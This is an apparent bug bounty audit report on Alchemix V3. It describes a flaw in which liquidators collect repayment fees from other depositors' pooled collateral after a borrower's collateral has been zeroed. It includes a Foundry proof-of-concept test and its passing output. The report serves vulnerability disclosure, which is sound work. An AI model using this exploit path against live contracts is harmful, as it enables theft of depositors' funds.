56622 sc critical repayment fee overpays liquidators using pooled collateral after forcerepay
Submitted on Oct 18th 2025 at 14:32:26 UTC by @vivekd for Audit Comp | Alchemix V3
- Report ID: #56622
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
During liquidation, _resolveRepaymentFee returns a fee based on the earmarked debt repaid. If the borrower has no collateral left—common after _forceRepay—the function still returns the full fee even though nothing was deducted from the borrower. _doLiquidation then pays that fee out of the Alchemist's global MYT balance, siphoning other users' collateral to the liquidator.
Vulnerability Details
- _forceRepay uses the account's collateral to repay earmarked debt and can zero out account.collateralBalance.
- _resolveRepaymentFee computes fee = repaidAmountInYield * repaymentFee / BPS and only reduces the borrower's balance by min(fee, account.collateralBalance). When the balance is zero, it subtracts nothing but still returns the full fee.
- _liquidate calls _resolveRepaymentFee, receives the inflated feeInYield, and transfers that amount to the liquidator: TokenUtils.safeTransfer(myt, msg.sender, feeInYield). Since the borrower contributed nothing, the transfer comes directly from the Alchemist's pooled MYT (i.e., other users' collateral).
- The PoC (testPoC_repayment_fee_drains_global_collateral in src/test/AlchemistV3.t.sol) shows a liquidation where the liquidator collects a fee from pooled funds rather than the borrower's own shares.
Impact Details
- A malicious liquidator can repeatedly target accounts whose collateral was consumed by _forceRepay. Each liquidation yields a positive fee paid from pooled funds, enabling unlimited extraction.
- Every exploit reduces the Alchemist's collateralization, threatening solvency and allowing the attacker to drain the MYT pool even though borrowers cannot repay.
- All Alchemist depositors are affected: their backing collateral is transferred to the attacker through liquidation fees they should never have owed.
Proof of Concept
Proof of Concept
code:
function testPoC_repayment_fee_drains_global_collateral() external {
// Increase repayment fee to exaggerate the loss
vm.startPrank(alOwner);
alchemist.setRepaymentFee(5_000); // 50%
vm.stopPrank();
// Provide pooled liquidity from a bystander so the contract holds MYT shares
uint256 poolContribution = 500e18;
vm.startPrank(yetAnotherExternalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), poolContribution);
alchemist.deposit(poolContribution, yetAnotherExternalUser, 0);
vm.stopPrank();
// Attacker deposits and max-borrows
uint256 attackerDeposit = 100e18;
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), attackerDeposit);
alchemist.deposit(attackerDeposit, address(0xbeef), 0);
uint256 attackerTokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
uint256 mintAmount = alchemist.totalValue(attackerTokenId) * FIXED_POINT_SCALAR / minimumCollateralization;
uint256 creditToYield = alchemist.convertDebtTokensToYield(mintAmount);
alchemist.mint(attackerTokenId, mintAmount, address(0xbeef));
vm.stopPrank();
// Earmark attacker debt through the transmuter
vm.startPrank(anotherExternalUser);
SafeERC20.safeApprove(address(alToken), address(transmuterLogic), mintAmount);
transmuterLogic.createRedemption(mintAmount);
vm.stopPrank();
vm.roll(block.number + 5_256_000);
uint256 initialVaultSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply);
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply * 1_000_000);
alchemist.poke(attackerTokenId);
(uint256 attackerCollateralBefore,,) = alchemist.getCDP(attackerTokenId);
uint256 contractBalanceBefore = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liquidatorBalanceBefore = IERC20(address(vault)).balanceOf(externalUser);
vm.startPrank(externalUser);
(uint256 yieldAmount, uint256 feeInYield,) = alchemist.liquidate(attackerTokenId);
vm.stopPrank();
require(yieldAmount > 0, "liquidation did not execute");
(uint256 attackerCollateralAfter,,) = alchemist.getCDP(attackerTokenId);
uint256 contractBalanceAfter = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liquidatorBalanceAfter = IERC20(address(vault)).balanceOf(externalUser);
// Attacker collateral is wiped, yet the liquidator received the full fee.
assertEq(attackerCollateralAfter, 0, "attacker collateral should be zero after force repay");
uint256 collateralRemainingBeforeFee = attackerCollateralBefore > creditToYield ? attackerCollateralBefore - creditToYield : 0;
assertGt(feeInYield, collateralRemainingBeforeFee, "fee should exceed attacker's remaining collateral");
assertEq(liquidatorBalanceAfter - liquidatorBalanceBefore, feeInYield, "liquidator received full fee");
uint256 contractDelta = contractBalanceBefore - contractBalanceAfter;
uint256 attackerContribution = creditToYield + collateralRemainingBeforeFee;
assertGt(contractDelta, attackerContribution, "contract lost more than attacker collateral");
}
- Apply the repository test testPoC_repayment_fee_drains_global_collateral added in
src/test/AlchemistV3.t.sol. - This setup increases the repayment fee (50%), earmarks all of an attacker's debt, zeroes their collateral via _forceRepay, and triggers liquidation.
- Run:
FOUNDRY_PROFILE=default forge test --match-test testPoC_repayment_fee_drains_global_collateral --jobs 1 --evm-version cancun
- Logs:
newuser@LAPTOP-MLPJMQD2:~/v3-poc$ FOUNDRY_PROFILE=default forge test --match-test testPoC_repayment_fee_drains_global_collateral --jobs 1 --evm-version cancun
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for src/test/AlchemistV3.t.sol:AlchemistV3Test
[PASS] testPoC_repayment_fee_drains_global_collateral() (gas: 2843194)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 24.44ms (3.08ms CPU time)
Ran 1 test suite in 68.42ms (24.44ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Demonstrating the fee is paid from pooled collateral, not the borrower.